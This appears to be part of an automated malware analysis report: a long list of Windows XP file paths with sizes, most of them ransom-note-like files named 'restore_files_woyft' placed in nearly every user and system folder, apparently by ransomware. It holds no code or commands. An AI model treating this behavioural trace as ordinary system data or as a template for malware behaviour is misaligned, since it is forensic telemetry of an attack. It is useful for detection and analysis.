%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\39\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\49\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\Accessibility\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\MMC\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\49\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\7\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\Communications\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\Sample Pictures\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\28\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\1\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\33\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (400 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\4\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\43\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\UserData\YJM90VAL\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Playlists\00064D96\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\19\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\27\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\12\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\muffin\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Desktop\RESTORE_FILES.TXT (2 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\35\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\SRKX8H05\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\SendTo\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\#SharedObjects\restore_files_woyft.txt (2 bytes)
C:\RECYCLER\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\32\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\8\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Templates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\40\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\40\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\NTUSER.DAT (9284 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\59\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\SendTo\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\brt\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Favorites\Links\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\49\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\4\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Favorites\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\54\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\29\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Z016340J\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\My Documents\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\62\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\63\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Credentials\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\60\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Wireshark\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\Sample Pictures\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\ActivePerl 5.16.2 Build 1602\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\11\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\57\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Windows Media\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\38\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\CHEZ8TER\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\GHISLER\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\Cache\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Flash Player\AssetCache\E7VJ4HGS\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\52\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\History\History.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\42\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\History\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Cookies\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\22\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\Collab\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Internet Explorer\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\23\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Playlists\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\Forms\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\History\History.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Cookies\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Templates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\DROHCDE3\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\18\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\42\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\6\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\23\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\UserData\YJM90VAL\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\History\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Windows\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Start Menu\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\54\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Credentials\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\KP27CLYF\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Accessories\Entertainment\restore_files_woyft.html (5 bytes)
C:\totalcmd\SIZE!.TXT (1606 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Accessories\Accessibility\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\57\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\VMware\VMware Tools\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\#SharedObjects\QEA5Z3QJ\kiks.yandex.ru\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\UserData\KTOR0Z81\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temp\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\56\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\Media Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\36\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\GHISLER\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\8\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Accessories\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\21\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\13\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\44\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\NetHood\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Color\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\NetHood\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\46\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\VMware\restore_files_woyft.html (5 bytes)
C:\totalcmd\LANGUAGE\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\13\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\53\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Startup\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Recent\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Accessories\Entertainment\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\10\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Updater6\Install\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Flash Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\DRM\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Templates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\15\restore_files_woyft.html (5 bytes)
C:\totalcmd\HISTORY.TXT (3890 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\17\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\27\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#kiks.yandex.ru\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\6\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\History\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Cookies\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\can\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Flash Player\AssetCache\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\1\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\59\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\43\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\SendTo\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\44\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\45\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\14\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\20\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\History\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\GHISLER\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\eng\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\57\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\10\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Start Menu\restore_files_woyft.html (5 bytes)
C:\RECYCLER\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Startup\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Wireshark\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\17\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\10\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\22\restore_files_woyft.txt (2 bytes)
C:\totalcmd\DEFAULT.BAR (2816 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\RSA\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\tmp\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\NetHood\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\35\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Total Commander\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\30\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Identities\{37E80C13-CB45-4DCE-A438-545B791476AC}\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\muffin\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\14\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Favorites\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Accessories\Entertainment\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\12\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\51\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\AU\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\45\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Media Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Startup\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\51\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\18\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Reader 9.3\Setup Files\restore_files_woyft.html (5 bytes)
%System%\config\software (2547 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\46\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Flash Player\AssetCache\E7VJ4HGS\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\MMC\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\32\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\MetaData\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\all\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\UserData\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\RSA\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GROZIFO7\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Media Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Favorites\Links\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\48\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\47\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\7Y8AKL0W\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\52\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Identities\{37E80C13-CB45-4DCE-A438-545B791476AC}\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Recent\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\History\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temp\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\History\History.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Templates\excel.xls (427 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\40\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Favorites\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Windows Media\9.0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\Internet Explorer\brndlog.txt (1116 bytes)
%Documents and Settings%\All Users\Documents\My Music\My Playlists\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Music\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\16\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\Entertainment\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Cookies\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\Cache\Search\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\System Tools\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\39\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\History\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Protect\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Templates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Identities\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\QLSNQ10Z\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\37\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Media Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\host\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\20\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Music\Beethoven's Symphony No. 9 (Scherzo).wma (6148 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Flash Player\AssetCache\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\18\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\UserData\4XCFALMJ\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\15\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\59\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\15\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Music\New Stories (Highway Blues).wma (7698 bytes)
%Documents and Settings%\NetworkService\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\QLSNQ10Z\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@bostonhygiene[1].txt (178 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\12\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\28\restore_files_woyft.txt (2 bytes)
